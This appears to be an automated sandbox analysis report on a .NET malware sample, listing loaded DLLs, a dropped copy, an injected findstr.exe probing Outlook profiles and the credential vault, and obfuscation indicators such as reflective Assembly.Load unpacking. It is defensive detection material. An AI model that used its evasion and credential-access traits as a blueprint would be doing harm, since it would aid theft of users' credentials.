Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Section loaded: wininet.dll
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Section loaded: mswsock.dll
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\nWGrPwDLcexWRjyXAiZXJOGIpHAbuRyhSSsaRGQtzRcqRvMUSLaXPTDTNbyHHpZuxfDVDXqgjhsd\sbJGUdSMCgtLQJ.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\findstr.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: 8SxJ9aYfJ1.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: 8SxJ9aYfJ1.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: findstr.pdbGCTL source: 8SxJ9aYfJ1.exe, 0000000A.00000002.2392198546.00000000011A8000.00000004.00000020.00020000.00000000.sdmp, TwkYThKVQVaYn.exe, 0000000F.00000002.2567891581.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000011.00000002.4527947703.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000013.00000002.4528354654.0000000001238000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sbJGUdSMCgtLQJ.exe, 00000011.00000002.4523958138.000000000016E000.00000002.00000001.01000000.0000000D.sdmp, sbJGUdSMCgtLQJ.exe, 00000013.00000002.4524029986.000000000016E000.00000002.00000001.01000000.0000000D.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4523960013.000000000016E000.00000002.00000001.01000000.0000000D.sdmp
Source: Binary string: wntdll.pdbUGP source: 8SxJ9aYfJ1.exe, 0000000A.00000002.2392690731.0000000001600000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4530621249.00000000036AE000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000012.00000003.2392246539.00000000031B5000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000003.2398513253.0000000003362000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4530621249.0000000003510000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000015.00000003.2574871339.000000000376D000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000015.00000002.2641687151.0000000003ABE000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000015.00000003.2568189800.00000000035B3000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000015.00000002.2641687151.0000000003920000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: findstr.pdb source: 8SxJ9aYfJ1.exe, 0000000A.00000002.2392198546.00000000011A8000.00000004.00000020.00020000.00000000.sdmp, TwkYThKVQVaYn.exe, 0000000F.00000002.2567891581.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000011.00000002.4527947703.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000013.00000002.4528354654.0000000001238000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: 8SxJ9aYfJ1.exe, 8SxJ9aYfJ1.exe, 0000000A.00000002.2392690731.0000000001600000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4530621249.00000000036AE000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000012.00000003.2392246539.00000000031B5000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000003.2398513253.0000000003362000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4530621249.0000000003510000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000015.00000003.2574871339.000000000376D000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000015.00000002.2641687151.0000000003ABE000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000015.00000003.2568189800.00000000035B3000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000015.00000002.2641687151.0000000003920000.00000040.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 0.2.8SxJ9aYfJ1.exe.27d6070.0.raw.unpack, -.cs .Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 0.2.8SxJ9aYfJ1.exe.27d6070.0.raw.unpack, PingPong.cs .Net Code: Justy
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs .Net Code: MNCwKDaZ0Oc2iP7Tcx7 System.Reflection.Assembly.Load(byte[])
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs .Net Code: MNCwKDaZ0Oc2iP7Tcx7 System.Reflection.Assembly.Load(byte[])
Source: 0.2.8SxJ9aYfJ1.exe.7790000.5.raw.unpack, -.cs .Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 0.2.8SxJ9aYfJ1.exe.7790000.5.raw.unpack, PingPong.cs .Net Code: Justy
Source: 0.2.8SxJ9aYfJ1.exe.69c0000.4.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs .Net Code: MNCwKDaZ0Oc2iP7Tcx7 System.Reflection.Assembly.Load(byte[])
Source: 11.2.TwkYThKVQVaYn.exe.28a5cc0.0.raw.unpack, -.cs .Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 11.2.TwkYThKVQVaYn.exe.28a5cc0.0.raw.unpack, PingPong.cs .Net Code: Justy
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_025EF150 push esi; retf 0_2_025EF15A
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_025EF16B push esp; retf 0_2_025EF17A
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_025EF162 push edi; retf 0_2_025EF16A
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_025EFD43 push edx; retf 0_2_025EFD46
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_025EFDE8 push ebx; retf 0_2_025EFDEE
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A7C209 push esp; retf 0_2_06A7C216
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_06A7C170 push esp; retf 0_2_06A7C17E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 0_2_073E10F0 pushad ; retf 0_2_073E10FE
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00401856 push eax; iretd 10_2_0040185B
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0040C0A8 push C92FFB7Fh; iretd 10_2_0040C0AD
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0041F1BF push ds; iretd 10_2_0041F1CE
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0040D2CE push 0000007Bh; iretd 10_2_0040D2D7
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00413AA3 push esi; iretd 10_2_00413AEB
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00413AA5 push esi; iretd 10_2_00413AEB
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_00403370 push eax; ret 10_2_00403372
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_004015A0 push eax; retn B5B8h 10_2_00401612
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_004147FB push es; ret 10_2_0041485E
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0160225F pushad ; ret 10_2_016027F9
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016027FA pushad ; ret 10_2_016027F9
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016309AD push ecx; mov dword ptr [esp], ecx 10_2_016309B6
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0160283D push eax; iretd 10_2_01602858
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01601328 push eax; iretd 10_2_01601369
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01609939 push es; iretd 10_2_01609940
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011CC54D pushfd ; ret 15_2_011CC54E
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011CC54F push 8B011567h; ret 15_2_011CC554
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011809AD push ecx; mov dword ptr [esp], ecx 15_2_011809B6
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011CC9D7 push edi; ret 15_2_011CC9D9
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01151368 push eax; iretd 15_2_01151369
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_01151FEC push eax; iretd 15_2_01151FED
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 15_2_011D7E99 push ecx; ret 15_2_011D7EAC
Source: 8SxJ9aYfJ1.exe Static PE information: section name: .text entropy: 7.936528755801335
Source: TwkYThKVQVaYn.exe.0.dr Static PE information: section name: .text entropy: 7.936528755801335
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, Y2IHfS803OE2xeLpjv.cs High entropy of concatenated method names: 'YeQdtxE2t2', 'hWXdbeSlo8', 'Qj2d9Ujg3C', 'Ld4dlBMka9', 'pHedDAE8uW', 'E6Wd6QXFqY', 'umpd4oItsL', 'w3vdP0rbGo', 'R4ydphrKV6', 'mKCd7nLgF8'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, J9RVJ6K99W0MlJv4fW.cs High entropy of concatenated method names: 'jS9r9Z9ISO', 'jsHrlETR2h', 'DYXruMFV5P', 'cN4rL4cjPd', 'kbMr0APsnt', 'D7PrMWEGqJ', 'n81rAQ5oLx', 'uFrrWKwNON', 'b28rZDn4VH', 'bClr2jo0iL'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs High entropy of concatenated method names: 'tRgJQAW6LH', 'CYiJEmYNpq', 'LSjJrVg39P', 'PX8JIT64Vq', 'hWtJx71YeE', 'eQrJBoebDy', 'M1JJGQy3kq', 'QKWJFbePNP', 'hWrJ8polrn', 'yQtJotW3ia'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, sElARX1fmIIkSrG6t6J.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'FXhV9c00cY', 'gnIVlYg25m', 'dYMVuwau9n', 'libVLk2tF6', 'BDtV0nMQx8', 'VnVVMWCgsi', 'SKrVAd1luZ'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, zVHbFNYULAGJFspyUV.cs High entropy of concatenated method names: 'Dispose', 'xwWyZkFTYk', 'BcveD7AmEK', 'EcCkkoyaNp', 'QbQy25AbHh', 'DSMyzdPt5t', 'ProcessDialogKey', 'fmoesPkgaX', 'QSyeyCsWsM', 'vDMeePfuKN'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, wB2Rr9wfkSfia2CgoH.cs High entropy of concatenated method names: 'ToString', 'Qd1jnyVS0c', 'aFQjDsnj9K', 'iZMj6wKEQT', 'oYUj4FhalN', 'MeOjPfMKXD', 'B2Njpmhvli', 'C5rj7n6r4E', 'QZCjNnMo6a', 'TXgjiIkgOh'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, rFvtaNchkTr3nMUUIn.cs High entropy of concatenated method names: 'KERvElHXvk', 'j85vr8spPH', 'QBnvIsbgHJ', 'luNvx1nNSf', 'VHrvB6QqE1', 'fLEvGOfOc1', 'jXWvFqcFEM', 'JTuv8fGcDw', 'TSevoLFeXH', 'EwNvmmpiWt'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, jb1pfZdktLu52my0oO.cs High entropy of concatenated method names: 'BGqGR4pA17', 'ugsGgPaAd2', 'fQqGcKCUil', 's6rGh4OBPZ', 'W9lGUf05gt', 'qs6GKU6EWE', 'wNfGq2CipJ', 'Vk8GOf8S8m', 'kKQGCSdivA', 'EbDGSqdj6Z'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, HiQ4I43Uvsow4nTqbt.cs High entropy of concatenated method names: 'OU9XOXY5Dx', 'IV9XCaK0Ey', 'sKhXwG6MoY', 'OJIXDhpOox', 'W9iX4GvKiZ', 'eSwXPPjSB6', 'DSSX7tXjoI', 'ctOXNQiHAK', 'AGCXtPos8F', 'lkCXnr1ycn'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, RWpFebSe4HVyqtjbec.cs High entropy of concatenated method names: 'Qdq1W2G1bx', 'jor12ZaWoA', 'L7yvscNQop', 'q1SvymZTIh', 'gGT1naWDmk', 'Oel1bIxkko', 'tMQ1To0fRY', 'nv419WSKNZ', 'Cjl1lLSgjc', 'nLF1umybL0'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, Q10DCOH47cMss7Ao3T.cs High entropy of concatenated method names: 'JiQxUXpVLr', 'xjmxqgy0iM', 'LfxI6eLQYh', 'cZpI4jq72a', 's62IP0bXZE', 'yisIp8sM0T', 'rJ6I77pcbv', 'xXiINbL72T', 'z8JIiUTtM4', 'XMiItJYdSb'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, I1OuxervgZa6PWoI0E.cs High entropy of concatenated method names: 'Ka91o918Nt', 'MgE1mki3qj', 'ToString', 'mAf1Ea6lIf', 'Oyl1ruwv0f', 'vn51ITOTVy', 'Fyc1xMSPJj', 'wC61Byax2W', 'Kdb1GSgbRQ', 'Uwm1FJ5kTj'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, rJYWQ2oBq7Yb7jo00a.cs High entropy of concatenated method names: 'iUr3ymljsGvvs9LHLHS', 'mqNnf1lfICqTTyJYKbR', 'LBeBv08Tr2', 'ud3BfgAkiE', 'TaMBVqKGoZ', 'xNDbFBlVwinT3RARj6r', 'Q1wPMklYGoPxIKlkyWV'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, jaQqi6JmmnmdPZuwgH.cs High entropy of concatenated method names: 'fjWGEmImNo', 'fWHGIenf9e', 'wvuGBsPFkI', 'jBAB20wcUo', 'hOFBz0kuYF', 'IOKGsAvvvu', 'fX0GyTMijv', 'bQwGergg72', 'kIdGJrEvCK', 'sJMGaJgEdI'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, X7Ye7Th1idJlwDwrpj.cs High entropy of concatenated method names: 'jUJIh2J5h2', 'VfSIKiga3Q', 'yFqIOZm1Pi', 'RtRIC1jco2', 'SoBIdLLdEI', 'WrEIjU7o8N', 'L3xI1G3PVy', 'SKZIvbSOwq', 'kHGIfsIs7x', 'xDJIV6tV0g'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, ElqWMNNuTTe5PkiWTf.cs High entropy of concatenated method names: 'smkyG8xcGP', 'W9oyFPGCWB', 'lPqyo4q7NS', 'CnCymvmMWE', 'U66ydQBKuo', 'Ypxyjywwfx', 'ttliZk5LyBm7C9lKLm', 'cpPnWDbOKiLPDO7VxF', 'IcfaoDHeY0TKAt2e12', 'eDtyy0wSC8'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, zvgrFmt1aRxW8NM3X7.cs High entropy of concatenated method names: 'JBQfy7trsc', 'cnLfJqUEQ1', 'UodfaTtSq8', 'w6MfE89Gwf', 'EjXfrWbaR5', 't17fxJQjpc', 'pXsfBy3xcy', 'f2QvAMGuXZ', 'xPOvWGGxX9', 'GmwvZZ0QkU'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, mTwLB111SFPqglkQENw.cs High entropy of concatenated method names: 'ToString', 'jXkVJ8JiZT', 'dg3Vae3KeC', 'zv4VQsXNJr', 'jMcVE4r8mQ', 'OX5Vr7L7gm', 'lOTVIg2LRK', 'r0YVxqKVgD', 'fIog4uhmLK0rlfqkfMQ', 'M6OUNghzwPhFYGsAnpu'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, WITcdq0YQjaZA5NFwT.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'XcfeZESwgH', 'frme2MTbLk', 'elxezqt15O', 'q69JsUw0IM', 'zNaJyrKtUC', 'WmZJeoq9vo', 'sGtJJl7nWd', 'ihRrmiaaYXIDL0hJtlZ'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, tAMspT1Z90pZnDTmvOH.cs High entropy of concatenated method names: 'QxSfRkNuZq', 'cu6fgOnGqk', 'UuTfcJclSt', 'g9xfhtXmcp', 'eDhfUAnHyp', 'NarfKZm7jr', 'fT8fqYEVvv', 'xNAfOYqIdl', 'D5NfCRjij9', 'ROmfSvf5y3'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, pasCFMLtKXAEJmZ1Oa.cs High entropy of concatenated method names: 'UynBQ0cbAF', 'mVWBr4Fsxu', 'v97BxvDKUm', 'UU0BGjed9r', 'tXDBFOIxlu', 'h1tx0xIsXp', 'BRWxMgWqvC', 'bqwxApE701', 'XfOxW6OWL1', 'Vf2xZnxFD7'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, SsJX0fI1tV46UUM7Kh.cs High entropy of concatenated method names: 'TxWc7GeXA', 'mcLhuGVTg', 'bCHKquow8', 'zTvq2rEUE', 'KfmCvOiQX', 'NrkSA4VcD', 'W4qpGG8t5L30j4S733', 'CqCbbPSRimFKCNAHCX', 'UcOvM5l0u', 'OIfVP4bEN'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, f1rDvoyICbalsOljJE.cs High entropy of concatenated method names: 'LwuvwAFX7d', 'QLWvDADubA', 'ayXv6lVGNC', 'UvHv4PZANF', 'x7Vv9TUHEO', 'pvwvP0wES9', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.8SxJ9aYfJ1.exe.3bb87b0.2.raw.unpack, glBYecz2lk6plH7KD1.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'aXdfXiTlYX', 'VOofdVBQRb', 'YiUfjrWoVD', 'Jclf1f6rfQ', 'jitfvc0rP4', 'fWbff1v2JN', 'Be3fVk9eg1'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, Y2IHfS803OE2xeLpjv.cs High entropy of concatenated method names: 'YeQdtxE2t2', 'hWXdbeSlo8', 'Qj2d9Ujg3C', 'Ld4dlBMka9', 'pHedDAE8uW', 'E6Wd6QXFqY', 'umpd4oItsL', 'w3vdP0rbGo', 'R4ydphrKV6', 'mKCd7nLgF8'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, J9RVJ6K99W0MlJv4fW.cs High entropy of concatenated method names: 'jS9r9Z9ISO', 'jsHrlETR2h', 'DYXruMFV5P', 'cN4rL4cjPd', 'kbMr0APsnt', 'D7PrMWEGqJ', 'n81rAQ5oLx', 'uFrrWKwNON', 'b28rZDn4VH', 'bClr2jo0iL'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, t2UsJXWPf4QR3Q12Gr.cs High entropy of concatenated method names: 'tRgJQAW6LH', 'CYiJEmYNpq', 'LSjJrVg39P', 'PX8JIT64Vq', 'hWtJx71YeE', 'eQrJBoebDy', 'M1JJGQy3kq', 'QKWJFbePNP', 'hWrJ8polrn', 'yQtJotW3ia'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, sElARX1fmIIkSrG6t6J.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'FXhV9c00cY', 'gnIVlYg25m', 'dYMVuwau9n', 'libVLk2tF6', 'BDtV0nMQx8', 'VnVVMWCgsi', 'SKrVAd1luZ'
Source: 0.2.8SxJ9aYfJ1.exe.3b30d90.1.raw.unpack, zVHbFNYULAGJFspyUV.cs High entropy of concatenated method names: 'Dispose', 'xwWyZkFTYk', 'BcveD7AmEK', 'EcCkkoyaNp', 'QbQy25AbHh', 'DSMyzdPt5t', 'ProcessDialogKey', 'fmoesPkgaX', 'QSyeyCsWsM', 'vDMeePfuKN'
